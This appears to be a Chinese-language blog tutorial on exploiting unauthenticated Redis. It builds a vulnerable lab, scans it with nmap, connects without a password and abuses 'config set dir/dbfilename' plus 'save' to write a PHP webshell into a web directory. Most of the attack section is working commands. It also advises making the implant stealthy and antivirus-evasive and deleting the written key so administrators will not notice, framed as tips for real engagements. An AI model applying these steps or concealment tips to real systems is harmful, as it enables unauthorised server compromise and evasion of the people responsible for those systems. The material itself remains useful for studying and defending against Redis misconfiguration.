本地漏洞环境搭建

1
wget http://download.redis.io/releases/redis-3.2.0.tar.gz
2
tar xzf redis-3.2.0.tar.gz
3
cd redis-3.2.0
4
make

修改配置文件为可以远程访问

1
gedit redis.conf

bind 127.0.0.1前面加上#注释掉
protected-mode设为no

image_1dso49kbim6ck16cpgd5d1vjap.png-122.3kB

启动redis

1
./src/redis-server redis.conf

环境介绍

靶机IP:192.168.31.131
攻击IP:192.168.31.129

攻击过程

探测目标机是否有redis

1
nmap 192.168.31.131 -A -p 6379 –script redis-info

image_1dso5lhcqq8r1ako1uhp13uq1c421m.png-381.3kB

探测出有redis服务,使用如下命令连接,查看是否存在未授权

1
redis-cli -h 靶机IP

6.jpg-82.2kB

连接成功,那么我们使用redis来进行反弹shell

写入文件

假设我靶机存在这么一个目录是web目录,且是php脚本,那么我们可以使用如下命令来进行写入shell(前提是知道目标机的网站目录的绝对路径)

image_1dso7pt521c6cekqumg1dbu1m2q4l.png-13.4kB

然后使用redis对其目录写入phpinfo()

1
192.168.31.131:6379> config set dir /root/web
2
OK
3
192.168.31.131:6379> config set dbfilename shell.php
4
OK
5
192.168.31.131:6379> set x "<?php phpinfo();?>"
6
OK
7
192.168.31.131:6379> save
8
OK

image_1dso7sa1q9p2lqfa5mmhppdh5f.png-41.4kB

然后就会在靶机的/root/web目录下写入shell.php

image_1dso866b44ha10f31pk81a4p11p96f.png-20.2kB

但是我们利用redis写入的shell是会加入很多其他数据的,如图

7.jpg-19.1kB

但是php是具有容错性的,哪怕这样也是可以执行phpinfo()

image_1dso8tijc2d1fnbjcvb0f7ed9.png-622kB

成功写入shell后,如果不想被管理员发现,除了将木马写隐蔽和免杀外还要将你写入的key删除,比如我上面是用set x "<?php phpinfo();?>",那么我要将x变量删除

8.png-86.9kB

注意:如果这里是实战环境,最好不要执行keys *命令,因为如果他们设置的key很多很多,几十万几百万条的话查看key数据可能会把服务器的cpu直接跑满,严重的说机器会直接崩溃,那么我们只要记住写入的key名,然后写完shell后将其del即可,因为这里是我演示的,所以才进行这个错误的示范

其实redis不仅可以写入webshell还可以反弹shell,但是我一般需求就是获取webshell即可,但是如果目标系统对写入的shell解析有问题,那么我们就不得不反弹shell了(网上有很多这类文章,不写了,一样的)